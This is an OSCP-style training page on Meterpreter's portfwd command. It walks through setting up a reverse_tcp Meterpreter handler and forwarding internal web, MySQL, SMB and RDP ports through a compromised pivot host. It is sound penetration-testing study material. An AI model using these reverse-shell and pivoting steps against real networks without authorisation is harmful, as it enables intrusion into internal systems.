Domain 5Pivoting & MetasploitCORE

Meterpreter Port Forwarding

Complete guide to Meterpreter built-in port forwarding commands for pivoting through compromised hosts in OSCP scenarios.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#meterpreter#portfwd#metasploit#pivoting#oscp

Meterpreter Port Forwarding

Meterpreter includes a built-in port forwarding system (portfwd) that lets you forward ports through a compromised host without deploying any additional tools. This is the simplest pivoting method when you already have a Meterpreter session.

Why Meterpreter Port Forwarding?

Advantage Description
No extra tools needed Built into Meterpreter — no SSH, Chisel, or socat required
Encrypted Traffic flows through the encrypted Meterpreter channel
Simple One command to set up a forward
Immediate Works instantly once you have a session
No firewall changes Uses existing Meterpreter connection

Commands Reference

Command Syntax Description
Add forward portfwd add -l [local_port] -p [target_port] -r [target_ip] Create a new port forward
List forwards portfwd list Show all active port forwards
Delete forward portfwd delete -l [local_port] Remove a specific forward
Flush all portfwd flush Remove all active forwards

Flag Details

Flag Description Example
-l Local port (on your attacker machine) -l 8080
-p Remote port (on the target) -p 80
-r Remote IP (the internal target) -r 10.10.10.10

Step-by-Step Workflow

Step 1: Get a Meterpreter Session

msfconsole

# Set up multi/handler
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4444
exploit

# Or deliver payload via exploit, web delivery, etc.

Step 2: Verify Session

# From Meterpreter prompt
sysinfo
getuid
ipconfig

Step 3: Add Port Forwarding Rule

# Forward internal web server (10.10.10.10:80) to local port 8080
portfwd add -l 8080 -p 80 -r 10.10.10.10

# Output: [*] Local TCP relay opened on :8080 -> 10.10.10.10:80

Step 4: List Active Forwards

portfwd list

# Output:
# StdId Local    Host      Service
# ----- -----    ----      -------
# 1     0.0.0.0:8080  10.10.10.10:80

Step 5: Access the Forwarded Service

# From your attacker machine (NOT from Meterpreter)
curl http://localhost:8080

# Or open in browser
firefox http://localhost:8080

Step 6: Remove When Done

# Remove specific forward
portfwd delete -l 8080

# Remove all forwards
portfwd flush

Architecture

graph LR
    subgraph "Attacker Machine"
        A[curl localhost:8080]
        B[msfconsole<br/>Meterpreter Session]
    end
    subgraph "Target Network"
        C[Pivot Host<br/>10.10.10.5<br/>Meterpreter Agent]
        D[Internal Target<br/>10.10.10.10:80]
    end
    A -->|localhost:8080| B
    B -->|Encrypted Meterpreter Channel| C
    C -->|Local network| D

Multiple Port Forwards

# Forward multiple services at once
portfwd add -l 8080 -p 80 -r 10.10.10.10
portfwd add -l 3306 -p 3306 -r 10.10.10.10
portfwd add -l 445 -p 445 -r 10.10.10.10
portfwd add -l 3389 -p 3389 -r 10.10.10.20

# List all
portfwd list

# StdId Local    Host      Service
# ----- -----    ----      -------
# 1     0.0.0.0:8080   10.10.10.10:80
# 2     0.0.0.0:3306   10.10.10.10:3306
# 3     0.0.0.0:445    10.10.10.10:445
# 4     0.0.0.0:3389   10.10.10.20:3389

Now on your attacker machine:

  • localhost:8080 → 10.10.10.10:80 (Web)
  • localhost:3306 → 10.10.10.10:3306 (MySQL)
  • localhost:445 → 10.10.10.10:445 (SMB)
  • localhost:3389 → 10.10.10.20:3389 (RDP)

Advantages

Advantage Detail
No extra tools Everything is built into Meterpreter
Encrypted channel Traffic is encrypted through the Meterpreter session
Simple syntax One command per forward
No firewall changes Uses existing Meterpreter connection
Works on Windows/Linux Meterpreter supports both platforms

Limitations

Limitation Impact Workaround
Session dependency If Meterpreter dies, all forwards die Use background and sessions -i to recover
Single session All traffic goes through one session Use multiple sessions for load distribution
Performance Extra encryption/decryption overhead Acceptable for most OSCP scenarios
Bandwidth Limited by Meterpreter channel Fine for interactive use, not for large transfers
No SOCKS proxy Cannot route arbitrary tools Use autoroute or external tunneling for that

When to Use portfwd vs autoroute vs External Tools

Scenario Best Method Why
Forward 1-2 specific ports portfwd Simplest, no extra config
Route MSF exploits through pivot autoroute Native MSF integration
Need SOCKS proxy for arbitrary tools SSH/Chisel + proxychains Full proxy flexibility
Full VPN-like access Ligolo-ng / OpenVPN IP-level tunnel
Quick and dirty portfwd Already in Meterpreter

OSCP Exam Tips

  1. portfwd is the fastest way to access a single internal service — use it when you have Meterpreter.
  2. Always portfwd list to verify your forwards are active.
  3. Access forwarded ports from your attacker machine (localhost), NOT from within Meterpreter.
  4. If the session dies, forwards die — consider setting up a persistent tunnel (Chisel/SSH) for long engagements.
  5. Use portfwd flush to clean up before creating new forwards.
  6. Combine with autoroute — use portfwd for specific services and autoroute for MSF exploit routing.

Further Reading